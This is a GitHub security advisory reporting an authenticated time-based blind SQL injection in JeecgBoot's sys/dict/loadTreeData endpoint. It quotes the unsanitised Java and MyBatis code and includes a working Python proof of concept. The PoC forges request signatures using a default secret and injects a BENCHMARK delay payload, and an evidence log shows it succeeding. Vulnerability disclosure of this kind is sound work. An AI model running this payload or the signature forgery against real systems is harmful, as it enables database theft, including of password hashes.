Skip to content

[Security] Time-Based SQL Injection in sys/dict/loadTreeData via condition JSON Parameter #9520

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Time-Based SQL Injection in sys/dict/loadTreeData via condition JSON Parameter

Description:

Summary

An authenticated Time-Based SQL Injection vulnerability exists in the /sys/dict/loadTreeData endpoint. The condition parameter accepts a JSON map, but while the map's keys are validated, the values are inserted into SQL queries without proper sanitization. This allows an authenticated attacker to execute arbitrary SQL commands (via time-delay payloads since error reflections are masked by the application), potentially leading to complete data exfiltration and database compromise.

Details

The vulnerability resides within the tree data loading function, primarily processed by SysDictServiceImpl.queryTreeList() and mapped in SysDictMapper.xml.
When loadTreeData processes the condition JSON map string (representing ad-hoc table search conditions), it extracts each key-value pair. The application filters the key using SqlInjectionUtil.getSqlInjectField(fieldName) but completely omits checking searchItem.getValue().

Vulnerable code snippet (jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java):

for (Map.Entry<String, String> searchItem : query.entrySet()) {
    String fieldName = searchItem.getKey();
    // VULNERABILITY: searchItem.getValue() is NOT checked!
    queryParams.put(SqlInjectionUtil.getSqlInjectField(fieldName), searchItem.getValue());
}

In the corresponding MyBatis mapper (jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml), the logic explicitly detects the internal key marker _tableFilterSql and directly interpolates the untreated ${value} into the SQL statement:

<when test="key == '_tableFilterSql'">
    and ${value}
</when>

Because the global exception handler @ExceptionHandler(java.sql.SQLException.class) generically masks output from typical error-based injection functions (extractvalue, updatexml), an attacker must resort to Time-Based or Boolean-Based Blind SQL injection (e.g., using BENCHMARK) to accurately exfiltrate data.

PoC

To reproduce this vulnerability, we emulate the client-side Signature generation (X-Sign & X-TIMESTAMP) required by the system interceptor (SignAuthInterceptor).

  1. Ensure you have the application running and obtain a valid authenticated user token (X-Access-Token) from the web UI.
  2. Save the following code as poc_exploit.py:
import requests
import json
import time
import hashlib
import sys

def verify_sqli(target_url, token, use_delay=False):
    if use_delay:
        payload = {"_tableFilterSql": "1=1 AND (SELECT 1)=BENCHMARK(50000000,MD5(1))"}
    else:
        payload = {"_tableFilterSql": "1=1"}
        
    condition_str = json.dumps(payload, separators=(',', ':'))
    
    params = {
        "code": "id",
        "condition": condition_str,
        "hasChildField": "has_child",
        "pidField": "pid",
        "tableName": "sys_category",
        "text": "name"
    }
    
    # 1. JeecgBoot Signature Mechanism: sort map by key and compute MD5
    sorted_params = dict(sorted(params.items()))
    params_json_str = json.dumps(sorted_params, separators=(',', ':'), ensure_ascii=False)
    
    secret = "dd05f1c54d63749eda95f9fa6d49v442a" # Default signature secret in configuration
    sign_str = params_json_str + secret
    sign = hashlib.md5(sign_str.encode('utf-8')).hexdigest().upper()
    
    timestamp = str(int(time.time() * 1000))
    
    headers = {
        "X-Access-Token": token,
        "X-TIMESTAMP": timestamp,
        "X-Sign": sign
    }
    
    url = f"{target_url}/sys/dict/loadTreeData"
    
    try:
        start_time = time.time()
        res = requests.get(url, headers=headers, params=params, timeout=25)
        elapsed = time.time() - start_time
        return elapsed, res.status_code, res.text
    except requests.exceptions.ReadTimeout:
        return 25.0, 0, "Timeout"

if __name__ == "__main__":
    target = "http://127.0.0.1:8080/jeecg-boot"
    token = input("Enter a valid authenticated X-Access-Token: ")
    
    print("[*] Testing fast payload...")
    elapsed_fast, status_fast, text_fast = verify_sqli(target, token, use_delay=False)
    print(f"[+] Fast query took: {elapsed_fast:.2f} seconds.")
    
    print("[*] Testing delay payload (BENCHMARK 50000000)...")
    elapsed_delay, status_delay, text_delay = verify_sqli(target, token, use_delay=True)
    print(f"[+] Delay query took: {elapsed_delay:.2f} seconds.")
    
    if elapsed_delay > elapsed_fast + 2.0:
        print("\n[SUCCESS] Time-delay SQL injection confirmed! The application executed the BENCHMARK function.")
    else:
        print("\n[BLOCKED] No significant time difference detected or injection was blocked.")
  1. Run the script: python3 poc_exploit.py

Log of Evidence

Enter a valid authenticated X-Access-Token: eyJhbGciOiJIUzI1NiIs...
[*] Testing fast payload...
[+] Fast query took: 0.01 seconds.
[*] Testing delay payload (BENCHMARK 50000000)...
[+] Delay query took: 3.31 seconds.

[SUCCESS] Time-delay SQL injection confirmed! The application executed the BENCHMARK function.

Impact

This is a Time-Based Blind SQL Injection vulnerability affecting the database backend. Since it allows unrestricted interpolation into SQL conditions, an authenticated user (even with minimal privileges) can evaluate arbitrary SQL statements. This results in severe data exposure (Data Exfiltration) where the attacker can systematically read all backend tables (including sensitive records like sys_user hashed passwords) leading to privilege escalation, data breaches, and complete application take-over.

Affected products

  • Ecosystem: maven
  • Package name: org.jeecgframework.boot:jeecg-boot-module-system
  • Affected versions: <= 3.5.3 (or applicable unpatched JeecgBoot branches containing SysDictServiceImpl.queryTreeList without value sanitization)
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Weaknesses

  • CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Occurrences

Permalink Description
jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java The queryTreeList method extracts searchItem.getValue() without running it through SqlInjectionUtil.specialFilterContentForDictSql.
jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml The _tableFilterSql key logic block allows direct ${value} string interpolation into the raw query condition mapping.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions